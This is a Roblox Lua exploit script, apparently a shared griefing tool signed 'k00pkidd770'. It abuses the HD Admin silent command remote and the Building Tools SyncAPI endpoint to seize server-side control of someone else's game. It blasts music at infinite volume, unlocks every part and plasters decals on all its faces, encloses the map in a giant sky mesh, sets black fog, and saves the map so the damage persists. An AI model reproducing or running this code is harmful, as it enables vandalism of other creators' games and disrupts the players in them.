local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 104879348278763") RequestCommand:InvokeServer(";volume inf") local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("84413878812178") local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";time 17") wait (1) local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(99999,99999,99999)) SetLocked(v,true) end end end Sky("84413878812178") wait (0.5) local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";fogcolor black") RequestCommand:InvokeServer(";savemap") -- Xóa script cũ nếu có để tránh bị chồng đè if game:GetService("CoreGui"):FindFirstChild("CustomCircleImage") then game:GetService("CoreGui").CustomCircleImage:Destroy() end local TweenService = game:GetService("TweenService") local ScreenGui = Instance.new("ScreenGui") local BackgroundCircle = Instance.new("Frame") local CenterImage = Instance.new("ImageLabel") local OrbitFrame = Instance.new("Frame") local MoonImage = Instance.new("ImageLabel") local TextLabel = Instance.new("TextLabel") ScreenGui.Parent = game:GetService("CoreGui") ScreenGui.Name = "CustomCircleImage" -- KÍCH THƯỚC local bgSize = 150 local centerSize = 120 local moonSize = 65 -- 1. KHUNG NỀN CHÍNH BackgroundCircle.Parent = ScreenGui BackgroundCircle.BackgroundColor3 = Color3.fromRGB(0, 0, 0) BackgroundCircle.BackgroundTransparency = 0.5 BackgroundCircle.BorderSizePixel = 0 BackgroundCircle.Size = UDim2.new(0, bgSize, 0, bgSize) BackgroundCircle.Position = UDim2.new(1, 10, 0.5, -bgSize/2) local bgCorner = Instance.new("UICorner") bgCorner.CornerRadius = UDim.new(1, 0) bgCorner.Parent = BackgroundCircle -- 2. ẢNH TRUNG TÂM CenterImage.Parent = BackgroundCircle CenterImage.BackgroundTransparency = 1 CenterImage.Image = "rbxassetid://99698372156633" CenterImage.Size = UDim2.new(0, centerSize, 0, centerSize) CenterImage.Position = UDim2.new(0.5, -centerSize/2, 0.5, -centerSize/2) CenterImage.ScaleType = Enum.ScaleType.Fit -- 3. KHUNG QUỸ ĐẠO OrbitFrame.Parent = BackgroundCircle OrbitFrame.BackgroundTransparency = 1 OrbitFrame.Size = UDim2.new(1, 0, 1, 0) -- 4. ẢNH QUAY QUANH MoonImage.Parent = OrbitFrame MoonImage.BackgroundTransparency = 1 MoonImage.Image = "rbxassetid://84413878812178" MoonImage.Size = UDim2.new(0, moonSize, 0, moonSize) MoonImage.Position = UDim2.new(0.75, 0, 0.05, 0) MoonImage.ScaleType = Enum.ScaleType.Fit -- 5. DÒNG CHỮ (ĐÃ CẬP NHẬT NỘI DUNG) TextLabel.Parent = BackgroundCircle TextLabel.BackgroundTransparency = 1 TextLabel.Size = UDim2.new(3, 0, 0.8, 0) -- Tăng kích thước để chứa 2 dòng TextLabel.Position = UDim2.new(-1, 0, -0.9, 0) -- Chỉnh lại vị trí cho cân đối TextLabel.Font = Enum.Font.GothamBold TextLabel.Text = "Thank you for using my script.\nThis is a message from k00pkidd770" TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255) TextLabel.TextSize = 18 TextLabel.TextStrokeTransparency = 0 TextLabel.TextWrapped = true -- Cho phép xuống dòng TextLabel.Visible = false --- HỆ THỐNG CHUYỂN ĐỘNG --- local rotateInfo = TweenInfo.new(3, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut, -1) local rotateTween = TweenService:Create(OrbitFrame, rotateInfo, {Rotation = 360}) rotateTween:Play() local tweenIn = TweenService:Create(BackgroundCircle, TweenInfo.new(1.2, Enum.EasingStyle.Quart, Enum.EasingDirection.Out), { Position = UDim2.new(0.5, -bgSize/2, 0.5, -bgSize/2) }) local tweenOut = TweenService:Create(BackgroundCircle, TweenInfo.new(1.5, Enum.EasingStyle.Bounce, Enum.EasingDirection.Out), { Position = UDim2.new(0, 0, 1, -bgSize) }) task.wait(0.5) tweenIn:Play() tweenIn.Completed:Connect(function() TextLabel.Visible = true task.wait(3) -- Tăng thời gian chờ một chút để người dùng kịp đọc cả 2 dòng TextLabel.Visible = false tweenOut:Play() end) print("Đã cập nhật nội dung thông báo từ k00pkidd770!")